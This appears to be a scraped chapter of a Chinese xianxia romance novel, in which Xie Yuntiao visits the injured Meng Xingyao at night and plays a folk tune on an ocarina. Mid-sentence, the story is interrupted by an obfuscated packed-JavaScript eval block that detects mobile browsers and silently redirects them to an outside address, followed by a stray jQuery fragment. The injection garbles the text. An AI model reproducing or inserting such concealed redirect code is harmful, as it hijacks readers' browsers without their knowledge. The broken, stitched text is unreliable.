孟星遥倚靠在床上,静静地望着窗外。
从昨夜至白天,清衡山下起了雪,雪不算大,飘扬在空中如柳絮轻舞。
问心院里栽种的一些花草虽非仙姝,但得仙门灵力滋养,凋谢得也比寻常时节晚上许多,而应了时节盛开的花,往往更是美丽动人。
她的窗前栽了几株梅花,昨天刚好含苞盛开,簇簇新花挤在枝头,如云如雾,比雪多了几分艳。
她赏了一会儿梅花后,忽然听见屋外有了一阵响动。
她以为是闻晴刚查过房,现在又来杀了个回马枪,急忙钻进被窝,闭眼想假装睡了。
她苏醒后,闻晴叮嘱过她每日戌时三刻之前要休息,但是说实话……
她现在身体恢复了大半,这么早,有些睡不着。
得道成仙最显眼的标志,不过就是斩三欲——食、色、睡也。
她一个得道多年的老仙人,已习惯打坐入定,若非受伤,已是多年未再体会过这种老老实实睡觉的感觉。
但是闭上眼等了半晌,也没听见闻晴离开的动静,反而感觉她似乎又往自己靠近了些。
孟星遥不由地心里一哆嗦。
这两日她抓自己抓得紧,让她很是犯难,身为半个医修,她虽则理解她,但也委实是难为自己。
……算了,没瞒过就没瞒过吧。
她悄咪咪地将眼睛睁开一条缝,思索要不要老老实实坦白自己的罪状,冷不防瞥见月色浮动的光线中,一只修长而骨节分明的手伸了过来,停在自己的脸颊旁。
——然后轻轻地将自己脸上凌乱的发丝给拨了下去。
指腹划过肌肤,带来一丝似是而非的暖意。
不对,这不是闻晴。
她方才上床匆忙,一头被子蒙上,头发几乎是乱的,想着这样装睡比较真实,但是闻晴才不会这么温柔小心,她只会逮自己到底是不是在装睡,而且,她哪有这么长的手指。
她猛地睁开了眼睛。
月光透过半开的窗户洒落在两个人的身上,谢云迢显然没想到她居然没睡着,两人大眼瞪小眼了片刻,他先开口道:“我是……把你吵醒了?”
他声音不大,刻意压着,像是怕惊扰到外面的人。
“你这么晚,进来干什么?”她瞥了一眼屋外,悄悄地说道,“要是阿晴听见了,逮住你来打扰我,她保准又要训你。”
敢逆反大荒最厉害的医仙的嘱咐,管你什么剑尊剑仙的,真是吃了熊心豹子胆。
谢云迢被提醒了,他思索了一下,忽然抬起手指,弹了一道金光出去。
那金光没入屋门,泛起一圈金色的波纹后,隐匿不见了。
“好了,”他说,“这下她听不见了。”
隔音屏,大荒最基础的法术之一,可以选择内外同时屏音,也可选择内音隔绝,但能听见外音。
此招常被弟子们单独打坐修炼时用于隔绝外界干扰,或者躲开妖兽魔修追杀时隐蔽声息。
虽然是最基础的入门法术,也很容易被破解,但大道至简,基础法术威力如何,还得看使用者本身的修为。
简单来说,谢云迢设的这个隔音屏,整个东荒怕是没几个能解的。
明明设了法术,他却仍旧压低着声音,语气里还带着某种浅浅的得意。
孟星遥忍俊不禁地跟着压低声音问道:“怎么,她这几日是把你训得很惨?”
谢云迢沉默一瞬,含糊不清道:“也不能说惨,但倘若有不认识我俩的人见了,恐怕以为她是我师父,而我是犯了大错的弟子。”
谢云迢脾气一直不错,对人很是包容,即便如今身居高位,私下也没什么大架子,能被他这么戏谑,想来他这几日应当过得确实如孙子一般。
孟星遥知道闻晴多少是借题发挥,新仇旧恨一起算,也包括替她出气,但谢云迢这些天忙里忙外,还要替她传功养身,修补伤体。
她可不好站队。
她想了想,索性转移话题道:“所以你现在冒着大不韪半夜进来,总不会是想单纯见我吧。”
许是受了伤,加上夜深了,又或者是因为四下无人,只有他们两个,孟星遥似乎放松了很多,没有这些年来平日相处时那般端着。
她醒了之后,将被子裹在身上,只露出半张小脸和眼睛,此刻她睁着那双在月色下显得分外清澈和湿润的双眼,好奇地问他。
没有平日里那般一尘不染、生人勿进、高高在上的冰冷模样,脸上还翘着不少凌乱的发丝,整个人看起来毛躁躁的。
谢云迢望着她,想起前日闻晴跟他说她醒了,要不要来看她时,他下意识给拒绝了。
这么多年,两人私下相处越来越少,见面时也都是聊公事。
仿佛除了仙府、天都和衡天盟里的那些人和事,他和她再没其他话可说。
这次事端如此之多,他怕他一出现,就会提醒她想起那些烦心事,给她压力,反而无法好好休息。
但现在她这么问,虽然明显是口不择言随便找个话题,他却突然觉得心里的那堵冰冷坚固的墙,好像没由来地出现了一道小口子。
“嗯。”谢云迢说,“的确是想见你。”
孟星遥猝不及防,愣了一瞬,又听他道:“想看看你恢复得如何,却没想到你醒着。”
“……你想看我情况如何,怎么白天不来。”她无语道,“大半夜偷偷摸摸进我房间,想吓死谁。”
谢云迢想了想,略带歉意道:“倒是我考虑不周,那我要如何道歉?”
“道歉?”孟星遥思索一番,低头瞅了眼自己现在的狼狈样,又看了看谢云迢依旧是那副高贵端正、风光霁月的仙人之姿,忽然心生一计。
“那你吹首曲子给我听。”
“曲子?”谢云迢果然蹙了眉,神色不妙。
世上人无完人,饶是被东荒仙洲捧上了天的谢云迢,也有一个众人皆知的短板。
那就是他,五音不全,六律不调。
即便他的好友多为南明神族,比如危梦之、苏祈月,甚至在南荒的楚沧玉等人,都以擅雅乐著称。
哪怕抛开这点不谈,乐为六艺之一,当年无论是凡间,还是在天玄学宫,都是人人必学的课业,大部分人取个及格,也是绰绰有余。
唯独他是一个如假包换的音痴。
一曲高山流水,别人奏之断肠,他奏之断魂。本意想来鸡蛋里挑骨头的墨华神尊没做好准备,连一半都没听完,捂着耳朵被吓跑,怒骂黎煊收了个只会舞剑弄枪的武夫。
但是他忘了一件事,那就是黎煊也是个音痴而不自知的人,某种程度上来说,他是他的爱徒,也是一场命中注定的知音相逢。
“是呀,你把我吵醒了,总得赔我个入睡曲吧。”孟星遥说,“都道乐曲能舒缓心情,医道里也将乐疗归为一术,没问题吧……”
等下,不对劲!
她反应过来,自己这算不算同归于尽,两败俱伤。
无论舞或乐,谢云迢只要涉及乐艺,便如刚装上四肢一般不协调,虽然可以此取乐他,但这曲子一来,呕哑嘲哳难为听,她岂不是更睡不着。
这哪叫乐疗啊,自己是不是病糊涂了。
但是事发突然,谢云迢应该不会带什么乐器吧。
想到这儿,孟星遥暗自松了口气,忙道:“不过我就是随口一说,你要是不想,其实也……”
紧接着,她看见谢云迢从他的乾坤袋里的掏啊掏出来一个物什。
黑漆漆的,圆滚滚的,竟是一个陶埙。
……?
为什么一个音痴会在自己的乾坤袋里塞着一个自己完全用不上的东西?
谢云迢的手掌很宽,手指也很长,右手指和掌心还有因常年握剑形成的一层薄薄的茧。
陶埙不大,他两只手的手指按在孔上,略显得有些局促。
这样别扭的姿势并不符合他潇洒剑尊的风格。
但倒是挺符合孟星遥想捉弄他的小心思。
她被他有些生疏的模样逗笑,想着等会他吹奏结束,是不是该昧着良心夸一夸他,权当安慰了。
但随着古朴的旋律沿着那个小小的陶埙流淌出时,她却先愣住了。
夜风凉月人寂静,窗外梅花疏影横斜,暗香浮动。
苍凉悠远的曲调,回荡在房间之中,又随着敞开的窗户,飘扬到更远的地方去。
她记得这个曲子。
不同于其他价格高昂,构造繁复的乐器,陶埙历史悠久,入门简单,虽然平平无奇,但也因此在大雍,上至王尊贵族,下至平民百姓,都能学上一学。
又因为方便携带,军队出征时,也常会随身带着它,战事之余,吹奏几曲,慰问心事。
谢云迢吹的这首,便是大雍最为常见的小调,名唤《春归曲》。
“春来小雨绿如油呀,阿哥随军去远方,杨柳丝长挽君袖呀,相约春归杏花下……”
“春江水暖嬉双凫呀,王命肃肃征夫遑,欲寄锦书雁难托呀,惟愿家国永安康……”
“年年燕来又燕去呀,不见离人返故乡,老泪昏昏路难识呀,犹记年少扑蝶忙……”
“犹记年少扑蝶忙,莫负好春光……”
这首小调家喻户晓,几乎人人都会唱,但是停留在她记忆里的,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709685|172938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是代意的声音。
她不曾见过母亲,代意虽然只大她八岁,但长姐如母,她每次来天渺宗观算国运天机顺便看她的时候,她总是依偎在她怀里,听她唱歌谣哄睡自己。
代意身为大公主,授命天女之名,肩负国运重担,被万民尊崇爱戴,可年纪轻轻眉间便总是拢着一股愁绪。
可名为天女,实则却是天妃。
天妃是大雍王室献给大荒先神的新娘,等着先神降下神谕,天渺宗推演出合适的日子,便会迎来最隆重的婚礼,继承九歌玉璧,献出自己短短一生,嫁给先神,维护大雍百年太平。
尽管这些所谓的先神谁也没见过,那时候凡间太平安定,这些光怪陆离的神鬼之谈,都是留在古老传说里没什么人信的传闻。
但兴许是命途多舛,感同身受,不同于其他无忧无虑的兄弟姐妹,她对代玉这个可怜的老幺十分怜爱,母爱大发,也对比代玉还小,同样年幼失母的谢峤爱屋及乌。
每次代意过来,和元桓景在一起议事,一个翩然如仙,一个芝兰玉树,仿若一对璧人,如清水芙蓉,只可远观,不可亵玩。
她来找代玉时,也会笑眯眯地和谢峤打招呼,揉揉他的头发,而谢峤总是十分紧张,待她走后,又偷偷看她。
这一切被代玉尽收眼底,她那时童言无忌,很认真地劝道:“阿峤,虽然我姐姐漂亮得像神妃仙子,可惜,她不会喜欢还没马高的小屁孩的。”
谢峤看了她一眼,毫不示弱地回击道:“正好,我昨天刚听师父说,他对那种乳臭未干的小丫头也是绝对不感兴趣的。”
乳臭未干的小丫头?是谁?!
她想了一会儿,终于意识到他在说自己。小小的心思被戳破,她恼羞成怒,狠狠地给了他一拳,把他揍倒在地之后,哇哇大哭地跑了。
可那时候的谢峤明明那么瘦小,一推就倒,怎么一转眼就长成眼前这个身高八尺有余,丰神俊朗,飘逸出尘的男人了。
孟星遥想得入神,一曲春归终了半晌,都没发现。
轻柔的月光打在她的侧脸上,映照得她左眼侧下的那颗泪痣盈盈如泪,让人忍不住想伸手轻轻抚摸。
谢云迢定了定神,认真地注视着她,问道:“如何,还满意吗?”
“挺满意……”孟星遥下意识回道,话未说完,突然回过神来。
等会儿,什么意思?这人什么时候偷偷练的?居然一直藏着不说?
她明明是想给他个下马威,杀杀威风,反倒正中他下怀了?
又没斗赢他!
“不听了,不听了,你耍诈!没劲!”她没意思地缩了回去,把自己裹成了一个粽子。
谢云迢识破她的诡计,还反将一军,没按捺住嘴角微微上扬,身后仿佛翘起了一条看不见的尾巴。
他伸出手指戳了戳那团被子,又被她一巴掌拍掉。
凶巴巴的,还这么难伺候,不好听不行,好听也不行。
但这生龙活虎的模样,看来恢复得不错。
那日他的真气探入她的心口,里面气息紊乱,幽深难辨,隐隐出现数道裂痕,把他吓得不轻。
那潜藏内心深处的后怕之感卷土重来,如芒在背,刺得他坐卧不安。
孟星遥从被子里探出脑袋,尽管闻晴一直叫她少思虑,多休息,但自打醒后,她一直忍着,现在看见谢云迢,还是忍不住问道:“现如今庆典安排得如何了,我先前让人布置的那些……”
“放心吧,已安排妥当了。”谢云迢说。
“真的?”她不敢置信,连珠炮似的报出一长串各个环节流程和注意事项,连最细微的细枝末节都没放过。
谢云迢竟一一对答如流,不差分毫。
她既有些意外,也松了一口气。
是她多虑了,既有他在,又有其他人辅佐,其实仙府建立这么多年,早已规章成熟,根本不需她操心成这样。
但眼见得最期待的事即将接近,自己又无法参加,她点点头,还是有些怅惘地说道:“那我就放心了。”
谢云迢将她遗憾的神色尽收眼底,他顿了顿,轻声道:“你恢复得比预期好,我去和闻晴商量一下,把至阳神力渡给你,你去待上一天,不要太过辛劳,应当也不是什么难事。”
他伸出手,温暖的神力在他的掌心凝聚,这些在他人看来无比珍贵的东西,他却因这份相伴长大的情谊,毫不吝啬地就送给她。
她望着那簇暖流涌动的金光,忽然下定了决心。
“阿迢,”她说,“其实我昏迷的这些天……梦见黎煊了。”
谢云迢的手一顿,浑身僵住,如坠冰窟。